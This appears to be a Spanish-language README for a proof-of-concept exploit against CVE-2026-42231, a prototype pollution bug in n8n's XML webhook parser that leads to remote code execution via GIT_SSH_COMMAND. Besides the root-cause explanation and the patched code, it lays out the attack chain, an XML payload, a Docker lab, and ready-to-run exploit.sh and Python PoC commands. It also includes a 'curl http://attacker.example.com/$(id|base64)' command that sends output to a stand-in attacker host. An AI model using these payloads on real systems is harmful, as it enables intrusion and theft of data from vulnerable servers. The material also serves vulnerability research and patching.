
Prueba de concepto de exploit para CVE-2026-42231, una vulnerabilidad crítica de contaminación de prototipos en los webhooks XML de n8n que conduce a la ejecución remota de código. Incluye laboratorio Docker, PoC en Python y verificador en Node.js.
CVE: CVE-2026-42231
Severidad: Crítica (CVSS 10.0)
Afectados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corregido en: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts crea un singleton
xml2js Parser a nivel de módulo sin tagNameProcessors ni
attrNameProcessors. Esto permite a un atacante enviar un cuerpo de webhook XML
que contenga un elemento <__proto__>.
xml2js 0.6.2 usa Object.defineProperty con un descriptor de datos para
establecer claves de elementos en objetos analizados. Debido a que '__proto__' in obj siempre es
true, assignOrPush() envuelve el valor en un array y lo almacena como una
propiedad de datos enumerable propia — omitiendo el accessor [[Set]] que
normalmente actualizaría la cadena de prototipos de forma segura.
La propiedad propia __proto__ sobrevive a JSON.stringify (ejecutado cuando n8n
persiste los datos de ejecución en SQLite/PostgreSQL), y después de JSON.parse al
recargar, un posterior Object.assign(target, reloadedBody) redirige
el prototipo de target al objeto controlado por el atacante.
En flujos de trabajo que también contienen un nodo Git que realiza una operación SSH,
el prototipo contaminado expone un valor spawnOptions / GIT_SSH_COMMAND
a simple-git's createInstanceConfig, permitiendo la ejecución de comandos a nivel de sistema operativo.
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // convierte etiquetas a minúsculas — pero NO bloquea __proto__
explicitArray: false,
// ← SIN tagNameProcessors
// ← SIN attrNameProcessors
});
Corrección (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. El atacante envía un POST XML a un disparador de Webhook público:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. El analizador de cuerpo xml2js crea req.body.root donde '__proto__' es una
PROPIEDAD DE DATOS ENUMERABLE PROPIA:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. deepCopy() de n8n itera las claves propias mediante for...in + hasOwnProp.
La asignación clone['__proto__'] = deepCopy(attackerArray)
reemplaza silenciosamente el prototipo de clone mediante el accessor [[Set]].
4. n8n serializa los datos de ejecución a la BD:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
La clave __proto__ se incluye porque es propia y enumerable.
Confirmado en la tabla execution_data en SQLite.
5. Al recargar, JSON.parse recrea '__proto__' como una propiedad de datos propia
(objeto plano, sin envoltura de array).
Object.assign(gitOptions, reloadedBody)
redirige el prototipo de gitOptions al objeto controlado por el atacante.
6. Cuando el nodo Git llama a simpleGit(gitOptions):
createInstanceConfig(gitOptions)
lee config.spawnOptions a través de la cadena de prototipos → truthy →
spawnOptionsPlugin se registra.
Con GIT_SSH_COMMAND en el objeto env, git ejecuta el comando del
atacante en la siguiente operación SSH.
normalizeTagsnormalizeTags: true convierte a minúsculas todas las etiquetas XML, por lo que los elementos
hijos como <GIT_SSH_COMMAND> se convierten en git_ssh_command en el objeto analizado.
Para preservar mayúsculas y minúsculas en nombres de variables de entorno, use atributos XML
(los nombres de atributos no se normalizan con normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Esto descarga n8nio/n8n:1.123.22 (última versión afectada), construye la
imagen del atacante, inicia el objetivo vulnerable en http://localhost:5678,
crea y activa automáticamente un flujo de trabajo de webhook, y guarda la
URL del webhook en .webhook_state.
./exploit.sh setup
Salida esperada (truncada):
[*] Descargando imagen vulnerable de n8n (1.123.22) ...
[*] Construyendo imagen del atacante ...
[*] Iniciando objetivo vulnerable de n8n ...
[*] Esperando a que n8n esté saludable ...
[*] Creando flujo de trabajo de webhook (Webhook → nodo Code) ...
[+] Laboratorio listo.
Ejecute: ./exploit.sh demo # verificar la primitiva de contaminación
./exploit.sh exploit # entregar los tres payloads de RCE
./exploit.sh demo
El PoC envía un payload de verificación y muestra el cuerpo analizado devuelto desde el flujo de trabajo de n8n. Una instancia vulnerable devuelve:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# o con un comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Se entregan tres payloads complementarios:
| Payload | Técnica |
|---|---|
| A | Etiqueta <__proto__> — GIT_SSH_COMMAND como atributo XML |
| B | Cadena <constructor><prototype> |
| C | <__proto__> anidado con atributos env |
GIT_SSH_COMMAND inyectado si el RCE se disparó."step4_objectAssignPolluted": true confirmando la cadena.pip install -r requirements.txt
# Solo verificación — no se requiere nodo Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <ruta-del-webhook> \
--demo
# Explotación completa — requiere flujo de trabajo Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <ruta-del-webhook> \
--cmd 'curl http://attacker.example.com/$(id|base64)'